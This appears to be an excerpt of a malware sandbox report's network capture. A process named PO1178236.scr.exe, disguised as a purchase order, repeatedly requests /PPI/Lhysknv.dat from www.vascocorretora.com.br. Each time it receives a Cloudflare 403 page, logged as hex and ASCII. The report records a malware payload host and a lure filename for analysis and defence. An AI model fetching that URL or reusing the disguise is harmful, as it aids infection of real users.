2025-01-09 07:28:36 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:36 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:51 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=NifIswI1EeBS4iJaQHzOSnqlGVGNlZ9Y0K6Cw%2FMT0IoQ25rNbDYYv99EwTkus%2FEW47YwPAXgEvxOJxIUv56MxkHJw%2F%2B2Ba0QcGTTHo414%2Fs4MEuSCAuEGjPL1b4sakzz4qAnlBzexly9ywjl"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6260fcfc470-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1711&min_rtt=1697&rtt_var=665&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1610590&cwnd=236&unsent_bytes=0&cid=7c5427267f207f3b&ts=138&x=0"
2025-01-09 07:28:36 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:36 UTC	1369	IN	Data Raw: 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d Data Ascii: udflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width=
2025-01-09 07:28:36 UTC	1369	IN	Data Raw: 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e 63 Data Ascii: on cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.c
2025-01-09 07:28:36 UTC	1369	IN	Data Raw: 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 32 36 30 66 63 66 63 34 37 30 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 64 Data Ascii: xt-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6260fcfc470</strong></span> <span class="cf-footer-separator sm:hidd
2025-01-09 07:28:36 UTC	1002	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 32 36 30 66 63 66 63 34 37 30 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4e 69 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b 76 Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6260fcfc470',t:'MTczNjQwNzcxNi4wMDAwMDA='};v
2025-01-09 07:28:36 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
27	192.168.2.4	49757	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:37 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:37 UTC	1011	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:52 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=IVuwrC74ix%2FX68yomQPEZtpQMWq%2BTcS7HLidOAE4Q89qY8rQ2HPzC28HGoyvKZmb6swaK3reAlEO%2BPv6rkThjJX1NviRZzLouYcYQ56gzbRk1O%2Bbt9UQxK4oV%2BaucFZo8ERr9fpst%2BlHdITP"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6299d49c413-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1689&min_rtt=1687&rtt_var=634&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2854&recv_bytes=704&delivery_rate=1730883&cwnd=181&unsent_bytes=0&cid=441ce3130f226ab3&ts=124&x=0"
2025-01-09 07:28:37 UTC	358	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:37 UTC	1369	IN	Data Raw: 6c 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 Data Ascii: loudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="widt
2025-01-09 07:28:37 UTC	1369	IN	Data Raw: 74 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f Data Ascii: tion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /
2025-01-09 07:28:37 UTC	1369	IN	Data Raw: 74 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 32 39 39 64 34 39 63 34 31 33 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 Data Ascii: text-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b6299d49c413</strong></span> <span class="cf-footer-separator sm:hi
2025-01-09 07:28:37 UTC	1004	IN	Data Raw: 20 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 32 39 39 64 34 39 63 34 31 33 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b6299d49c413',t:'MTczNjQwNzcxNy4wMDAwMDA='}
2025-01-09 07:28:37 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
28	192.168.2.4	49759	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:37 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:38 UTC	1010	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:52 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=HKiBqHx%2BnXNrLhrqOaS54CuuCULovvLa8%2BWxT6oP1lFtAJ23hi94S7DzZFCBWqW%2F90cq46p8QRzLeL9CzjFAY2%2BIVYy%2BNl1Ef2QMzXP0yoa6bY5ZddSDyxKwvnhJh2DTFKR%2FIfhknq7l7Gy5"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b62d6ac5f3bb-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1442&min_rtt=1433&rtt_var=556&sent=5&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1935056&cwnd=82&unsent_bytes=0&cid=358fcd2c2f60d56f&ts=146&x=0"
2025-01-09 07:28:38 UTC	359	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 Data Ascii: 1555<!DOCTYPE html>...[if lt IE 7]> <html class="no-js ie6 oldie" lang="en-US"> <![endif]-->...[if IE 7]> <html class="no-js ie7 oldie" lang="en-US"> <![endif]-->...[if IE 8]> <html class="no-js ie8 oldie" lang="en-US"> <![endif]-->...[if
2025-01-09 07:28:38 UTC	1369	IN	Data Raw: 6f 75 64 66 6c 61 72 65 3c 2f 74 69 74 6c 65 3e 0a 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 22 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 58 2d 55 41 2d 43 6f 6d 70 61 74 69 62 6c 65 22 20 63 6f 6e 74 65 6e 74 3d 22 49 45 3d 45 64 67 65 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 72 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 6e 6f 69 6e 64 65 78 2c 20 6e 6f 66 6f 6c 6c 6f 77 22 20 2f 3e 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 Data Ascii: oudflare</title><meta charset="UTF-8" /><meta http-equiv="Content-Type" content="text/html; charset=UTF-8" /><meta http-equiv="X-UA-Compatible" content="IE=Edge" /><meta name="robots" content="noindex, nofollow" /><meta name="viewport" content="width
2025-01-09 07:28:38 UTC	1369	IN	Data Raw: 69 6f 6e 20 63 66 2d 68 69 67 68 6c 69 67 68 74 22 3e 0a 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 77 72 61 70 70 65 72 22 3e 0a 20 20 20 20 20 20 20 20 20 20 3c 64 69 76 20 63 6c 61 73 73 3d 22 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 63 6f 6e 74 61 69 6e 65 72 20 63 66 2d 73 63 72 65 65 6e 73 68 6f 74 2d 66 75 6c 6c 22 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 6e 6f 2d 73 63 72 65 65 6e 73 68 6f 74 20 65 72 72 6f 72 22 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 20 20 20 20 20 20 20 20 0a 20 20 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 20 20 3c 2f 64 69 76 3e 0a 20 20 20 20 20 20 3c 2f 64 69 76 3e 3c 21 2d 2d 20 2f 2e Data Ascii: ion cf-highlight"> <div class="cf-wrapper"> <div class="cf-screenshot-container cf-screenshot-full"> <span class="cf-no-screenshot error"></span> </div> </div> </div>... /.
2025-01-09 07:28:38 UTC	1369	IN	Data Raw: 65 78 74 2d 6c 65 66 74 20 62 6f 72 64 65 72 2d 73 6f 6c 69 64 20 62 6f 72 64 65 72 2d 30 20 62 6f 72 64 65 72 2d 74 20 62 6f 72 64 65 72 2d 67 72 61 79 2d 33 30 30 22 3e 0a 20 20 3c 70 20 63 6c 61 73 73 3d 22 74 65 78 74 2d 31 33 22 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 69 74 65 6d 20 73 6d 3a 62 6c 6f 63 6b 20 73 6d 3a 6d 62 2d 31 22 3e 43 6c 6f 75 64 66 6c 61 72 65 20 52 61 79 20 49 44 3a 20 3c 73 74 72 6f 6e 67 20 63 6c 61 73 73 3d 22 66 6f 6e 74 2d 73 65 6d 69 62 6f 6c 64 22 3e 38 66 66 32 62 36 32 64 36 61 63 35 66 33 62 62 3c 2f 73 74 72 6f 6e 67 3e 3c 2f 73 70 61 6e 3e 0a 20 20 20 20 3c 73 70 61 6e 20 63 6c 61 73 73 3d 22 63 66 2d 66 6f 6f 74 65 72 2d 73 65 70 61 72 61 74 6f 72 20 73 6d 3a 68 69 64 Data Ascii: ext-left border-solid border-0 border-t border-gray-300"> <p class="text-13"> <span class="cf-footer-item sm:block sm:mb-1">Cloudflare Ray ID: <strong class="font-semibold">8ff2b62d6ac5f3bb</strong></span> <span class="cf-footer-separator sm:hid
2025-01-09 07:28:38 UTC	1003	IN	Data Raw: 20 77 69 6e 64 6f 77 2e 5f 63 66 5f 74 72 61 6e 73 6c 61 74 69 6f 6e 20 3d 20 7b 7d 3b 0a 20 20 0a 20 20 0a 3c 2f 73 63 72 69 70 74 3e 0a 0a 3c 73 63 72 69 70 74 3e 28 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 63 28 29 7b 76 61 72 20 62 3d 61 2e 63 6f 6e 74 65 6e 74 44 6f 63 75 6d 65 6e 74 7c 7c 61 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2e 64 6f 63 75 6d 65 6e 74 3b 69 66 28 62 29 7b 76 61 72 20 64 3d 62 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 27 73 63 72 69 70 74 27 29 3b 64 2e 69 6e 6e 65 72 48 54 4d 4c 3d 22 77 69 6e 64 6f 77 2e 5f 5f 43 46 24 63 76 24 70 61 72 61 6d 73 3d 7b 72 3a 27 38 66 66 32 62 36 32 64 36 61 63 35 66 33 62 62 27 2c 74 3a 27 4d 54 63 7a 4e 6a 51 77 4e 7a 63 78 4e 79 34 77 4d 44 41 77 4d 44 41 3d 27 7d 3b Data Ascii: window._cf_translation = {}; </script><script>(function(){function c(){var b=a.contentDocument\|\|a.contentWindow.document;if(b){var d=b.createElement('script');d.innerHTML="window.__CF$cv$params={r:'8ff2b62d6ac5f3bb',t:'MTczNjQwNzcxNy4wMDAwMDA='};
2025-01-09 07:28:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
29	192.168.2.4	49761	188.114.96.3	443	7432	C:\Users\user\Desktop\PO1178236.scr.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-09 07:28:38 UTC	66	OUT	GET /PPI/Lhysknv.dat HTTP/1.1 Host: www.vascocorretora.com.br
2025-01-09 07:28:38 UTC	1009	IN	HTTP/1.1 403 Forbidden Date: Thu, 09 Jan 2025 07:28:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Cache-Control: max-age=15 Expires: Thu, 09 Jan 2025 07:28:53 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=cT5kvcGvaQfPPX9vFv0Ult%2BUDLxRj1SUlDur%2F9u5AxVL7x4NVHfIP8noybYi7LeRQkvgNvsK2l0Nbb71sGva5tJGIjdYo6%2FTMRVUk63%2B3ZBr01jMWF7b1qfsdCuv6XCQ2SU76QFEOW%2BrT9pm"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} expect-ct: max-age=86400, enforce referrer-policy: same-origin x-content-type-options: nosniff x-frame-options: SAMEORIGIN x-xss-protection: 1; mode=block Server: cloudflare CF-RAY: 8ff2b6310d8042cf-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1723&min_rtt=1722&rtt_var=647&sent=4&recv=6&lost=0&retrans=0&sent_bytes=2853&recv_bytes=704&delivery_rate=1687861&cwnd=252&unsent_bytes=0&cid=671bdb4e36013aa9&ts=127&x=0"
2025-01-09 07:28:38 UTC	360	IN	Data Raw: 31 35 35 35 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0a 3c 21 2d 2d 5b 69 66 20 6c 74 20 49 45 20 37 5d 3e 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 36 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 37 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 37 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 6e 2d 55 53 22 3e 20 3c 21 5b 65 6e 64 69 66 5d 2d 2d 3e 0a 3c 21 2d 2d 5b 69 66 20 49 45 20 38 5d 3e 20 20 20 20 3c 68 74 6d 6c 20 63 6c 61 73 73 3d 22 6e 6f 2d 6a 73 20 69 65 38 20 6f 6c 64 69 65 22 20 6c 61 6e 67 3d 22 65 